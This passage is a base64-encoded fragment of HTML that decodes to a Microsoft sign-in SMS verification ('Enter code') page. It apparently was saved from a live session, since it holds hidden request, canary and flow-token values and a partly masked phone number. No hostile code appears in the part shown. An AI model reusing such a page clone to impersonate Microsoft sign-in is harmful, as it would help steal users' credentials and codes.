0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICA8IS0tIC9rbyAtLT4KICAgIDwvZGl2PgoJPGRpdiBzdHlsZT0iZGlzcGxheTpub25lOyIgY2xhc3M9ImlucHV0LWNvZGUgcGFnaW5hdGlvbi12aWV3IGFuaW1hdGUgaGFzLWlkZW50aXR5LWJhbm5lciBzbGlkZS1pbi1uZXh0IiBkYXRhLWJpbmQ9ImNzczogewogICAgICAgIFwnaGFzLWlkZW50aXR5LWJhbm5lclwnOiBzaG93SWRlbnRpdHlCYW5uZXIoKSAmYW1wOyZhbXA7IChzaGFyZWREYXRhLmRpc3BsYXlOYW1lIHx8IHN2ci5zUE9TVF9Vc2VybmFtZSksCiAgICAgICAgXCd6ZXJvLW9wYWNpdHlcJzogaGlkZVBhZ2luYXRlZFZpZXcuaGlkZVN1YlZpZXcoKSwKICAgICAgICBcJ2FuaW1hdGVcJzogYW5pbWF0ZSgpLAogICAgICAgIFwnc2xpZGUtb3V0LW5leHRcJzogYW5pbWF0ZS5pc1NsaWRlT3V0TmV4dCgpLAogICAgICAgIFwnc2xpZGUtaW4tbmV4dFwnOiBhbmltYXRlLmlzU2xpZGVJbk5leHQoKSwKICAgICAgICBcJ3NsaWRlLW91dC1iYWNrXCc6IGFuaW1hdGUuaXNTbGlkZU91dEJhY2soKSwKICAgICAgICBcJ3NsaWRlLWluLWJhY2tcJzogYW5pbWF0ZS5pc1NsaWRlSW5CYWNrKCkgfSI+CgogICAgICAgIDwhLS0ga28gZm9yZWFjaDogdmlld3MgLS0+CiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT4KICAgICAgICAgICAgICAgIDwhLS0ga28gdGVtcGxhdGU6IHsgbm9kZXM6IFskZGF0YV0sIGRhdGE6ICRwYXJlbnQgfSAtLT48ZGl2IGRhdGEtdmlld2lkPSIxIiBkYXRhLXNob3dpZGVudGl0eWJhbm5lcj0idHJ1ZSIgZGF0YS1iaW5kPSJwYWdlVmlld0NvbXBvbmVudDogeyBuYW1lOiBcJ290Yy1jb25maXJtLXZpZXdcJywKICAgICAgICAgICAgICAgICAgICBwYXJhbXM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgc2VydmVyRGF0YTogc3ZyLAogICAgICAgICAgICAgICAgICAgICAgICBzZXJ2ZXJFcnJvcjogaW5pdGlhbEVycm9yLAogICAgICAgICAgICAgICAgICAgICAgICB1c2VybmFtZTogc2hhcmVkRGF0YS51c2VybmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgZm9jdXNEZWZhdWx0RmllbGQ6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgICAgIHN1cHBvcnRzQmFjazogdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgaXNJbml0aWFsU3RhdGU6IGlzSW5pdGlhbFN0YXRlLAogICAgICAgICAgICAgICAgICAgICAgICBzZW50UHJvb2Y6IHNoYXJlZERhdGEuc2VudFByb29mLAogICAgICAgICAgICAgICAgICAgICAgICBvdGNQcm9vZnM6IHNoYXJlZERhdGEub3RjUHJvb2ZzLAogICAgICAgICAgICAgICAgICAgICAgICBpc0dlbmVyYWxWZXJpZnk6IHNoYXJlZERhdGEuaXNHZW5lcmFsVmVyaWZ5LAogICAgICAgICAgICAgICAgICAgICAgICBwcm9vZkNvbmZpcm1hdGlvbjogc2hhcmVkRGF0YS5wcm9vZkNvbmZpcm1hdGlvbiwKICAgICAgICAgICAgICAgICAgICAgICAgc2hvd0NhbmNlbEJ1dHRvbjogc2hhcmVkRGF0YS5zaG93Q2FuY2VsQnV0dG9uLAogICAgICAgICAgICAgICAgICAgICAgICB0cnVzdGVkRGV2aWNlQ2hlY2tib3hDb25maWc6IHNoYXJlZERhdGEudHJ1c3RlZERldmljZUNoZWNrYm94Q29uZmlnLAogICAgICAgICAgICAgICAgICAgICAgICBjdXJyZW50UG9sbFN0YXJ0VGltZTogc2hhcmVkRGF0YS5jdXJyZW50UG9sbFN0YXJ0VGltZSwKICAgICAgICAgICAgICAgICAgICAgICAgY3VycmVudFBvbGxFbmRUaW1lOiBzaGFyZWREYXRhLmN1cnJlbnRQb2xsRW5kVGltZSwKICAgICAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbklkZW50aWZpZXI6IHNoYXJlZERhdGEuc2Vzc2lvbklkZW50aWZpZXIsCiAgICAgICAgICAgICAgICAgICAgICAgIHR3b1dheVBvbGxpbmdOZWVkZWQ6IHNoYXJlZERhdGEudHdvV2F5UG9sbGluZ05lZWRlZCwKICAgICAgICAgICAgICAgICAgICAgICAgaGFzVG90cFYyT25seTogc2hhcmVkRGF0YS5oYXNUb3RwVjJPbmx5LAogICAgICAgICAgICAgICAgICAgICAgICBoYXNUb3RwVjFPbmx5OiBzaGFyZWREYXRhLmhhc1RvdHBWMU9ubHksCiAgICAgICAgICAgICAgICAgICAgICAgIGZsb3dUb2tlbjogc2hhcmVkRGF0YS5mbG93VG9rZW4gfSwKICAgICAgICAgICAgICAgICAgICBldmVudDogewogICAgICAgICAgICAgICAgICAgICAgICBjYW5jZWw6IHZpZXdfb25DYW5jZWwsCiAgICAgICAgICAgICAgICAgICAgICAgIHVwZGF0ZUZsb3dUb2tlbjogJHRmYVBhZ2Uudmlld19vblVwZGF0ZUZsb3dUb2tlbiwKICAgICAgICAgICAgICAgICAgICAgICAgc2hvd0RlYnVnRGV0YWlsczogJHRmYVBhZ2UudG9nZ2xlRGVidWdEZXRhaWxzX29uQ2xpY2ssCiAgICAgICAgICAgICAgICAgICAgICAgIHN1Ym1pdFJlYWR5OiAkdGZhUGFnZS52aWV3X29uU3VibWl0UmVhZHksCiAgICAgICAgICAgICAgICAgICAgICAgIHNldFBlbmRpbmdSZXF1ZXN0OiAkdGZhUGFnZS52aWV3X29uU2V0UGVuZGluZ1JlcXVlc3QsCiAgICAgICAgICAgICAgICAgICAgICAgIHNldEJhY2tCdXR0b25TdGF0ZTogdmlld19vblNldElkZW50aXR5QmFja0J1dHRvblN0YXRlIH0gfSI+PCEtLSAgLS0+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiBkYXRhLWJpbmQ9InZhbHVlOiBwb3N0VHlwZSIgdmFsdWU9IjE4Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR2VuZXJhbFZlcmlmeSIgZGF0YS1iaW5kPSJ2YWx1ZTogaXNHZW5lcmFsVmVyaWZ5IiB2YWx1ZT0iZmFsc2UiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZXF1ZXN0IiBkYXRhLWJpbmQ9InZhbHVlOiBzdnIuc0N0eCIgdmFsdWU9InJRUUlBUkFBaFZNOWJPTmtHSTZUTnFSUkM2WDg2TmdxVVNSMHdzbm5mN3NTMHVXdmR0TFlKcW5UX0RCRW5fM1pqdl9UeElucmJEQ3hVVEdBZEFQRERReVZXSkFRcUJOaVFYUTZpYTNjaEJnUUVnaWRkTHFUV0VoaFBqRzhyOTZfWjNqMVBFLXh3SllJc2tTVXdOMGNXUUtIQnpUSE1qVE42RGhGR2l4T0N6ckFlY3BrY1FJSjFIcEZjcXdCWjN2RjNiOV9mVC01OV9HWDZqY19mUEpXOWJlZlBydkU5aWR4UEowZmxzdEprcFFpeTNJTXMyUkVRZG1ISVhKQ2UwbC1pMkVQTWV4LWR0TU04ZDdKWlhiT1Vod3ZNRHdCV01Eek5NVXhiRWtPRkcta25mcXEySWtWcmV2SkRnQ3lPeVRhbW5jdWE4TjRwTFVjVlVQLXFHNFR5anJrZmllVlhZOGN1bmFzOUh2TTZBU0E0YXAzM3U0M2FQbDJWdS1zN3hSblZPOU9obTRGM0dSZlVpdUxlRUxlcG1qbXJNekgyUzBybWdYamFUU1A3LWMtelk2UGVGbmhKeHJWNG52elRxMnF0cWNvOHVXRWRVVkhUeVdPQzFpOFpRSmY5RktmRUtXbDBHM0NZNFVfb19YUU9DSWFFeWxFU3hTS3kyV0tGbWNyUmRMUnJDNFJwR2dSRXRtRnZxV0pMR2g3dFhwUWJSMXhDbTA3Qkd1b01YODZXQ2l3Qm81UDVaYlZUdEtPcWt4TVJFMldhWVBxakJyMnlRQXlUYVJMZ3FvRHRWa2JNRTZMOVNvYzc3a3RJS1F3a05lOFRCdlIwamFrUVlmeTRzRjV2OWUyT2FiWGxjMTRQbUx4aHBhNGZhT0MweFVrdFZhR21TVG5kYVk2OFllY0hqQkM0RW1TSmdfVFhqX1ZFeWdpVnF4MTdKckZMSkl6Rm5HMVJlY3k5OFp6NkYyU1gtWHk2eUtJd3F2Y0Fja0tsbTZhQkc2WkFPSTBJQWdjNm1pdElRQnAxdENoU1RIb09zZEZVek4wMFA1MEZsbU9iejVQT1V1eXJQN2JTVkZnbGlxLV8wdnVBQnBHdEFqamUxTWZwbXZla0FVRHgwOERFemtHOUc5UkpiaDR1SUg5dnZGNkliLTdmUWZiejd6OUtzZ2RGZ3JGM2N5ZHpIN20yUWIyWUhPdFgtSEp6Z2RQMzN5c2ZIMTk4ZVBWM1VIbWVyTmNvV3RUdS0wR2lIZjY1ZVlVZGgwb1VJVDdYbm1WSHZmbnJsQTdTcXVSdXVDVTBmQmRjRWhjNUxHTGZQNDZfM0t6UGxZYTJvbFdVZXFWYnAwY2c3X3kyWTlld0s2Ml90Y1JIMjd2RkRKN1cxdXIxNzU0NTFIMVJyclpmcVZZWERoalAxb19ZODczX25QS2R6dVpaeV8tLWVEelI5X19mUEdIOUE4MSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1mYUxhc3RQb2xsU3RhcnQiIGRhdGEtYmluZD0idmFsdWU6IGN1cnJlbnRQb2xsU3RhcnRUaW1lIiB2YWx1ZT0iMTY1Mzk4NDI2OTE5OCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1mYUxhc3RQb2xsRW5kIiBkYXRhLWJpbmQ9InZhbHVlOiBjdXJyZW50UG9sbEVuZFRpbWUiIHZhbHVlPSIxNjUzOTg0MjcxMDM0Ij4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGRhdGEtYmluZD0iYXR0cjogeyBuYW1lOiBzdnIuc0F1dGhNZXRob2RJbnB1dEZpZWxkTmFtZSB9LCB2YWx1ZTogcHJvb2ZEYXRhIiBuYW1lPSJtZmFBdXRoTWV0aG9kIiB2YWx1ZT0iT25lV2F5U01TIj4KCjwhLS0ga28gaWY6IHN2ci5jYW5hcnkgLS0+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNhbmFyeSIgZGF0YS1iaW5kPSJ2YWx1ZTogc3ZyLmNhbmFyeSIgdmFsdWU9IkE0Q3BnTGptZDhpVy9JcGFSaWE5MzFqUC96eUtXc2o5Q0Z5Qm9PdTdOWlk9MToxIj4KPCEtLSAva28gLS0+CjwhLS0ga28gaWY6IHByb29mQ29uZmlybWF0aW9uIC0tPjwhLS0gL2tvIC0tPgoKPGRpdiBpZD0iaWREaXZfU0FPVENDX1RpdGxlIiBjbGFzcz0icm93IHRleHQtdGl0bGUiIHJvbGU9ImhlYWRpbmciIGFyaWEtbGV2ZWw9IjEiIGRhdGEtYmluZD0idGV4dDogdHdvV2F5UG9sbGluZ05lZWRlZCA/IHN0cltcJ0NUX1NBT1RDQVNfU1RSX1RpdGxlXCddIDogc3RyW1wnQ1RfU0FPVENTX1NUUl9UaXRsZVwnXSI+RW50ZXIgY29kZTwvZGl2Pgo8ZGl2IGNsYXNzPSJyb3cgdGV4dC1ib2R5Ij4KICAgIDxkaXYgZGF0YS1iaW5kPSJjb21wb25lbnQ6IHsgbmFtZTogXCdwcm9vZi1pbWFnZS1jb250cm9sXCcsIHBhcmFtczogeyB0eXBlOiBwcm9vZkltYWdlVHlwZSwgc21hbGw6IHRydWUsIGFuaW1hdGU6IHR3b1dheVBvbGxpbmdOZWVkZWQgfSB9Ij48IS0tICAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuRW1haWwgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlNNUyB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVNNUyB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVNNU0FsdGVybmF0ZU1vYmlsZSAtLT4KICAgIDwhLS0ga28gY29tcG9uZW50OiBcJ2FjY2Vzc2libGUtaW1hZ2UtY29udHJvbFwnIC0tPjwhLS0ga28gaWY6IChpc0hpZ2hDb250cmFzdEJsYWNrVGhlbWUgfHwgaGFzRGFya0JhY2tncm91bmQgfHwgc3ZyLmZIYXNCYWNrZ3JvdW5kQ29sb3IpICYmICFpc0hpZ2hDb250cmFzdFdoaXRlVGhlbWUgLS0+PCEtLSAva28gLS0+CjwhLS0ga28gaWY6IChpc0hpZ2hDb250cmFzdFdoaXRlVGhlbWUgfHwgKCFoYXNEYXJrQmFja2dyb3VuZCAmJiAhc3ZyLmZIYXNCYWNrZ3JvdW5kQ29sb3IpKSAmJiAhaXNIaWdoQ29udHJhc3RCbGFja1RoZW1lIC0tPgo8IS0tIGtvIHRlbXBsYXRlOiB7IG5vZGVzOiBbZGFya0ltYWdlTm9kZV0sIGRhdGE6ICRwYXJlbnQgfSAtLT48aW1nIGNsYXNzPSJ0aWxlLWltZyBzbWFsbCIgcm9sZT0icHJlc2VudGF0aW9uIiBwbmdzcmM9Imh0dHBzOi8vYWFkY2RuLm1zYXV0aC5uZXQvc2hhcmVkLzEuMC9jb250ZW50L2ltYWdlcy9waWNrZXJfdmVyaWZ5X3Ntc19iMTVkZGE4ODllOTgwM2U5ZDZiZWZkNjAwMDBmYWRmOC5wbmciIHN2Z3NyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfc21zXzI3YTZkMThiNTZmNDY4MTg0MjBlNjBhNzczYzM2ZDRlLnN2ZyIgZGF0YS1iaW5kPSJpbWdTcmMsIGNzczogeyBcJ3NtYWxsXCc6IHNtYWxsLCBcJ2FuaW1hdGUtcHVsc2VcJzogYW5pbWF0ZSB9IiBzcmM9Imh0dHBzOi8vYWFkY2RuLm1zYXV0aC5uZXQvc2hhcmVkLzEuMC9jb250ZW50L2ltYWdlcy9waWNrZXJfdmVyaWZ5X3Ntc18yN2E2ZDE4YjU2ZjQ2ODE4NDIwZTYwYTc3M2MzNmQ0ZS5zdmciPjwhLS0gL2tvIC0tPgo8IS0tIC9rbyAtLT48IS0tIC9rbyAtLT4KPCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLlZvaWNlIHx8IHR5cGUgPT09IFBST09GLlR5cGUuVHdvV2F5Vm9pY2UgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlWb2ljZUFsdGVybmF0ZU1vYmlsZSB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVZvaWNlT2ZmaWNlIC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5UT1RQQXV0aGVudGljYXRvclYyIC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5UT1RQQXV0aGVudGljYXRvciAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuRmlkb0tleSAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuQWNjZXNzUGFzcyAtLT48IS0tIC9rbyAtLT48L2Rpdj4KICAgIDxkaXYgaWQ9ImlkRGl2X1NBT1RDQ19EZXNjcmlwdGlvbiIgY2xhc3M9InRleHQtYmxvY2stYm9keSBvdmVyZmxvdy1oaWRkZW4iIGRhdGEtYmluZD0idGV4dDogZGVzY3JpcHRpb24iPldlIHRleHRlZCB5b3VyIHBob25lIDxzcGFuIGNsYXNzPSJhZGQtdGV4dCI+K1ggWFhYWFhYWFg3MTwvc3Bhbj4uIFBsZWFzZSBlbnRlciB0aGUgY29kZSB0byBzaWduIGluLjwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9InRleHQtYmxvY2stYm9keSI+CiAgICA8ZGl2IGlkPSJpZERpdl9TQU9UQ0NfT1RDUm93IiBjbGFzcz0iZm9ybS1ncm91cCI+CiAgICAgICAgPGRpdiByb2xlPSJhbGVydCIgYXJpYS1saXZlPSJhc3NlcnRpdmUiPgogICAgICAgICAgICA8IS0tIGtvIGlmOiBlcnJvciAtLT48IS0tIC9rbyAtLT4KCQkJPGRpdiBjbGFzcz0icm93IGNvZGUtZXJyb3IiID4KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGlkPSJpZERpdl9TQU9UQ0NfRXJyb3JNc2dfT1RDIiBjbGFzcz0ic21zLWVycm9yIGFsZXJ0IGFsZXJ0LWVycm9yIGZpcnN0Ij4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0iaWRTcGFuX1NBT1RDQ19FcnJvcl9PVEMiIGRhdGEtYmluZD0iaHRtbDogZXJyb3IiIGNsYXNzPSJlcnJvci10eXBlIj5Zb3UgZGlkblwndCBlbnRlciB0aGUgZXhwZWN0ZWQgdmVyaWZpY2F0aW9uIGNvZGUuIFBsZWFzZSB0cnkgYWdhaW4uPC9zcGFuPgogICAgICAgICAgICAgICAgICAgIDwhLS0ga28gaWY6IHN2ci5mU2hvd1ZpZXdEZXRhaWxzTGluayAtLT4KICAgICAgICAgICAgICAgICAgICA8YSBpZD0iVmlld0RldGFpbHMiIGNsYXNzPSJuby13cmFwIiBocmVmPSIjIiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgICAgICB0ZXh0OiBzdHJbXCdDVF9TVFJfRXJyb3JfVmlld0RldGFpbHNcJ10sCiAgICAgICAgICAgICAgICAgICAgICAgIGNsaWNrRXhwcjogb25TaG93RGVidWdEZXRhaWxzKGRlYnVnRGV0YWlscywgdHJ1ZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFyaWFMYWJlbDogc3RyW1wnQ1RfU1RSX0Vycm9yX1ZpZXdEZXRhaWxzQXJpYUxhYmVsXCddIiBhcmlhLWxhYmVsPSJWaWV3IGRlYnVnZ2luZyBkZXRhaWxzIGZvciB0aGlzIGVycm9yIj5WaWV3IGRldGFpbHM8L2E+CiAgICAgICAgICAgICAgICAgICAgPCEtLSAva28gLS0+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBpZD0iaWREaXZfU0FPVENDX1N1Y2Nlc3NfT1RDIiBjbGFzcz0iZXJyb3JEaXYiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CiAgICAgICAgICAgIDxzcGFuIGlkPSJpZFNwYW5fU0FPVENDX1N1Y2Nlc3NfT1RDIiBjbGFzcz0ic3VjY2VzcyI+PC9zcGFuPgogICAgICAgIDwvZGl2PgogICAgICAgIDwhLS0ga28gaWZub3Q6IHR3b1dheVBvbGxpbmdOZWVkZWQgfHwgaGlkZUlucHV0Q29udHJvbHMoKSAtLT4KICAgICAgICA8ZGl2IGlkPSJpZERpdl9TQU9UQ0NfT1RDIiBjbGFzcz0idGV4dGJveCBmb3JtLWdyb3VwIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGxhY2Vob2xkZXJDb250YWluZXIiIGRhdGEtYmluZD0iY29tcG9uZW50OiB7IG5hbWU6IFwncGxhY2Vob2xkZXItdGV4dGJveC1maWVsZFwnLAogICAgICAgICAgICAgICAgcHVibGljTWV0aG9kczogb3RjSW5wdXRUZXh0Ym94LnBsYWNlaG9sZGVyVGV4dGJveE1ldGhvZHMsCiAgICAgICAgICAgICAgICBwYXJhbXM6IHsKICAgICAgICAgICAgICAgICAgICBzZXJ2ZXJEYXRhOiBzdnIsCiAgICAgICAgICAgICAgICAgICAgaGludFRleHQ6IHN0cltcJ0NUX1NBT1RDQ19TVFJfT1RDX1RCSGludFwnXSB9LAogICAgICAgICAgICAgICAgZXZlbnQ6IHsKICAgICAgICAgICAgICAgICAgICB1cGRhdGVGb2N1czogb3RjSW5wdXRUZXh0Ym94LnRleHRib3hfb25VcGRhdGVGb2N1cyB9IH0iPjwhLS0ga28gd2l0aFByb3BlcnRpZXM6IHsgXCckcGxhY2Vob2xkZXJUZXh0XCc6IHBsYWNlaG9sZGVyVGV4dCB9IC0tPgogICAgPCEtLSBrbyB0ZW1wbGF0ZTogeyBub2RlczogJGNvbXBvbmVudFRlbXBsYXRlTm9kZXMsIGRhdGE6ICRwYXJlbnQgfSAtLT4KCiAgICAgICAgICAgICAgICA8aW5wdXQgaWQ9ImlkVHh0QnhfU0FPVENDX09UQyIgbmFtZT0ib3RjIiBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJ0ZWwiIGF1dG9jb21wbGV0ZT0ib2ZmIiBhcmlhLXJlcXVpcmVkPSJ0cnVlIiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgIGF0dHI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgXCdtYXhsZW5ndGhcJzogb3RjTGVuZ3RoLAogICAgICAgICAgICAgICAgICAgICAgICBcJ2FyaWEtbGFiZWxsZWRieVwnOiBcJ2lkRGl2X1NBT1RDQ19UaXRsZVwnLAogICAgICAgICAgICAgICAgICAgICAgICBcJ2FyaWEtZGVzY3JpYmVkYnlcJzogXCdpZERpdl9TQU9UQ1NfVGl0bGUgaWREaXZfU0FPVENDX0Rlc2NyaXB0aW9uIGlkU3Bhbl9TQU9UQ0NfRXJyb3JfT1RDXCcgfSwKICAgICAgICAgICAgICAgICAgICBjc3M6IHsgXCdoYXMtZXJyb3JcJzogZXJyb3IgfSwKICAgICAgICAgICAgICAgICAgICB0ZXh0SW5wdXQ6IG90Y0lucHV0VGV4dGJveC52YWx1ZSwKICAgICAgICAgICAgICAgICAgICBhcmlhTGFiZWw6IHN0cltcJ0NUX1NBT1RDQ19TVFJfT1RDX1RCSGludFwnXSwKICAgICAgICAgICAgICAgICAgICBoYXNGb2N1c0V4OiBvdGNJbnB1dFRleHRib3guZm9jdXNlZCwKICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcjogJHBsYWNlaG9sZGVyVGV4dCIgbWF4bGVuZ3RoPSI2IiBhcmlhLWxhYmVsbGVkYnk9ImlkRGl2X1NBT1RDQ19UaXRsZSIgYXJpYS1kZXNjcmliZWRieT0iaWREaXZfU0FPVENTX1RpdGxlIGlkRGl2X1NBT1RDQ19EZXNjcmlwdGlvbiBpZFNwYW5fU0FPVENDX0Vycm9yX09UQyIgYXJpYS1sYWJlbD0iQ29kZSIgcGxhY2Vob2xkZXI9IkNvZGUiPgogICAgICAgICAgICA8IS0tIC9rbyAtLT4KPCEtLSAva28gLS0+CjwhLS0ga28gaWZub3Q6IHVzZVBsYWNlaG9sZGVyQXR0cmlidXRlIC0tPjwhLS0gL2tvIC0tPjwvZGl2PgogICAgICAgIDwvZGl2PgoKICAgICAgICA8IS0tIGtvIGlmOiB0d29GYWN0b3JBdXRoUGluRW5hYmxlZCAtLT48IS0tIC9rbyAtLT4KICAgICAgICA8IS0tIC9rbyAtLT4KICAgIDwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0idGV4dC1ibG9jay1ib2R5IHRleHQtYm9keSIgZGF0YS1iaW5kPSJ2aXNpYmxlOiBzaG93U2VuZE5vdGlmaWNhdGlvbiIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgIDxhIGlkPSJpZEFfU0FPVENDX1NlbmROb3RpZmljYXRpb24iIGhyZWY9IiMiIGRhdGEtYmluZD0iaHRtbDogc3RyW1wnQ1RfU0FPVENDX1NUUl9TZW5kTm90aWZpY2F0aW9uXCddLCBjbGljazogc3dpdGNoVG9TZXNzaW9uQXBwcm92YWxfb25DbGljayI+U2VuZCBhbiBpZGVudGl0eSB2ZXJpZmljYXRpb24gcmVxdWVzdCB0byBteSBNaWNyb3NvZnQgQXV0aGVudGljYXRvciBhcHAuPC9hPgo8L2Rpdj4KCjxkaXYgZGF0YS1iaW5kPSJjc3M6IHsgXCdwb3NpdGlvbi1idXR0b25zXCc6ICF0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgJmFtcDsmYW1wOyAhdHdvV2F5UG9sbGluZ05lZWRlZCB9IiBjbGFzcz0icG9zaXRpb24tYnV0dG9ucyI+CiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgIDxkaXYgaWQ9ImlkRGl2X1NBT1RDQ19URF9TZWN0aW9uIiBjbGFzcz0ibm8tbWFyZ2luLXRvcC1ib3R0b20iIGRhdGEtYmluZD0idmlzaWJsZTogdGRDaGVja2JveC5pc1Nob3duICZhbXA7JmFtcDsgIWhpZGVJbnB1dENvbnRyb2xzKCkiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CiAgICAgICAgICAgIDxkaXYgaWQ9ImlkRGl2X1NBT1RDQ19URCIgY2xhc3M9ImNvbC1tZC0yNCBmb3JtLWdyb3VwIG5vLW1hcmdpbi10b3AgY2hlY2tib3giPgogICAgICAgICAgICAgICAgPGxhYmVsIGlkPSJpZExibF9TQU9UQ0NfVERfQ2IiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBpZD0iaWRDaGtCeF9TQU9UQ0NfVEQiIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0idHJ1ZSIgZGF0YS1iaW5kPSJjaGVja2VkOiB0ZENoZWNrYm94LmlzQ2hlY2tlZCwgZGlzYWJsZTogdGRDaGVja2JveC5pc0Rpc2FibGVkLCBhcmlhTGFiZWw6IHN0cltcJ0NUX1NBT1RDQ19TVFJfQWRkVERcJ10sIGF0dHI6IHsgbmFtZTogc3ZyLnNUcnVzdGVkRGV2aWNlQ2hlY2tib3hOYW1lIH0iIG5hbWU9InJlbWVtYmVyTUZBIiBhcmlhLWxhYmVsPSJEb25cJ3QgYXNrIGFnYWluIGZvciB1bmRlZmluZWQgZGF5cyI+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4gZGF0YS1iaW5kPSJ0ZXh0OiBzdHJbXCdDVF9TQU9UQ0NfU1RSX0FkZFREXCddIj5Eb25cJ3QgYXNrIGFnYWluIGZvciB1bmRlZmluZWQgZGF5czwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvbGFiZWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgoKICAgICAgICA8IS0tIGtvIGlmOiBpc0luaXRpYWxTdGF0ZSB8fCBzdnIudXJsTW9yZUluZm8gLS0+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTI0Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV4dC0xMyI+CiAgICAgICAgICAgICAgICA8IS0tIGtvIGlmOiBpc0luaXRpYWxTdGF0ZSAmJiBzaG93U3dpdGNoUHJvb2ZzTGluayAtLT4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiIGlkPSJpZERpdl9TQU9UQ1NfSGF2aW5nVHJvdWJsZSIgZGF0YS1iaW5kPSIKICAgICAgICAg